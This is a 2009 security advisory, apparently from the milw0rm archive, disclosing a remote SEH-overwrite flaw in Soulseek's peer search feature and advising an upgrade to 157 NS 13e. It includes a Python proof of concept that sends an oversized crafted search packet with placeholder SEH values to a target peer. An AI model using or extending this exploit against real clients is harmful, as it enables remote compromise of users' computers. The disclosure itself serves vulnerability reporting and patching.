Soulseek 157 NS < 13e & 156.* Remote Peer Search Code Execution
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- Release date: July 02, 2009
- Discovered by: Laurent Gaffié ; http://g-laurent.blogspot.com/
- Severity: critical
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I. VULNERABILITY
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Soulseek 157 NS < 13e & 156.* Remote Peer Search Code Execution
II. BACKGROUND
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"Soulseek(tm) is a unique ad-free, spyware free, and just plain free file
sharing application.
One of the things that makes Soulseek(tm) unique is our community and
community-related features.
Based on peer-to-peer technology, virtual rooms allow you to meet people with
the same interests, share information, and chat freely using real-time messages
in public or private.
Soulseek(tm), with its built-in people matching system, is a great way to make
new friends and expand your mind!"
III. DESCRIPTION
-------------------------
Soulseek client allows direct peer file search, allowing a user to find the files he wants directly on the
peer computer.
Unfortunatly this feature is vulnerable to a remote SEH overwrite.
IV. PROOF OF CONCEPT
-------------------------
This proof of concept will target a user called 123yow123.
import struct
import sys, socket
from time import *
ip = "IP_ADDR"
port = "PORT_NUM" #You can find out, how to find out IP/PORT if you RTFM :)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip,port))
except:
print "Can\'t connect to peer!\n"
sys.exit(0)
junk = "\x41" * 3084
next_seh = struct.pack('<L', 0x42424242)
seh = struct.pack('<L', 0x43434343)
other_junk = "\x61" * 1424
buffer = "\x17\x00\x00\x00\x01\x09\x00\x00\x00\x31\x32\x33\x79\x6f\x77\x31"
buffer+= "\x32\x33\x01\x00\x00\x00\x50\x00\x00\x00\x00\x21\x0c\x00\x00\x08"
buffer+= "\x00\x00\x00\x6c\x7b\x1d\x0c\x15\x0c\x00\x00"+junk+next_seh+seh+other_junk
s.send(buffer)
After the query is send, the SEH handler will get overwriten.
V. BUSINESS IMPACT
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An attacker could exploit this vulnerability to compromise any prior to 157 NS 13e Soulseek client
VI. SYSTEMS AFFECTED
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Windows all versions
VII. SOLUTION
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Upgrade to 157 NS 13e
(http://slsknet.org/download.html)
VIII. REFERENCES
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http://www.slsknet.org
IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com
X. REVISION HISTORY
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july 02, 2009
XI. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.
XII. PERSONAL NOTES
------------------------
Souleek team as patched this bug month ago, a distributed message urging users to upgrade them Soulseek client
is still send since a month, and not much users still use vulnerable Soulseek versions.
@to the one who like to rip bugs and make an exploit ""universal"" for fame, just make sure it's at least
universal before you say so.
For the others : http://www.youtube.com/watch?v=tVACUjHn6yU :)
@RIIA : http://www.openp2p.com/pub/a/p2p/2002/12/11/piracy.html
# milw0rm.com [2009-07-09]